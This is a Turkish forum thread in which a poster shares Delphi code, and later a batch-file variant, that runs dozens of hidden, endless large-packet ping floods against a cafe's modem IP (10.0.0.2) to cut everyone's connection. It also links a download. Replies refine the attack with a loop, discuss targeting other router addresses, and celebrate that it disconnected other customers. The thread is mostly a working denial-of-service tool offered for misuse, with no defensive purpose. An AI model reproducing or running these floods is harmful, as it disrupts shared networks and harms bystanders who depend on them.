İnternet Cafede Aç Bağlantıyı Kes(Kendi Yapımım)
-
Delphi de yazdığım programı açıp OYUN BAŞLASIN a tıklarsanız genel olarak 10.0.0.2 e 65500 bytlık sürekli 70 adet attack yapan flood şeysi.Kodları aşağıda.İsterseniz arttırıp azaltabilirsiniz zevkli oluo cafede daha denemedim birazdan denicem
==>
http://rapidshare.com/files/51411552/Modem_kes.rar.html
procedure TForm1.Button1Click(Sender: TObject);
begin
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_SHOWNORMAL);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);end;
end.
-
hea sona cafeci züksün bizi :D
-
hoca modemin ip adresi sadece 10.0.0.2 mi? benim modem mesela 192.168.1.1 landan bağlı olduğundan bööle, usbden bağlarsam 192.168.2.1 oluyo mesela, bunları da göz önünde bulundur, daa bi kompleks bişii yap :)
-
70 defa copy-paste yapacağına for döngüsüne giremedin mi?
-
aynı kodu elli kere yazma şunu yap daha ii ve kolaylık olur
procedure TForm1.Button1Click(Sender: TObject);
var i:integer;
begin
for i:=1 to 50 do
begin
WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
end;
end; -
hehe he daha yeniim abiler arıca program cafede çalıştı ko onuanlar dc yedi ve kadefen çıktı
Mission Compleated
-
Kardeş WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
10.0.0.2 ye ddos atıyo 10.0.0.2 genellikle zoom adsl modemlerin ip si. Ya cafenin modemi başka bişeyse ? Bir sürü modem ip si var 10.0.0.2 , 192.168.2.1 , 192.168.1.1 böyle gidiyo bir sürü modemin çeşit çeşit ipleri war. O zaman sadece zoom adsl modem olan cafelerde çalışır bu :))) sen bunu geliştir biraz daha :)
-
Bizim takıldığımız cafe zoomadsl kullanıyor o yüzden direk işe yaradı.Aslında combobox tan seçme işini halledip markaya göre saldırı yapma gibi bir kod yapabiliriz.Onun üzerine bakayım biraz
-
---
-
Acın kafede bi not defteri..
İçine
:a
ping 10.0.0.2 -l 65500 -t
goto :ayazın..
uzantısını .bat yapın alın size saldırı toolu fazla kasmayın öle delphi melphi...
-
a4tech bunu yazdı:
-----------------------------
70 defa copy-paste yapacağına for döngüsüne giremedin mi?
-----------------------------he ya for a girseydin öyle sonsuz döngüye girer dağıtırsın da copy paste anlamı yok
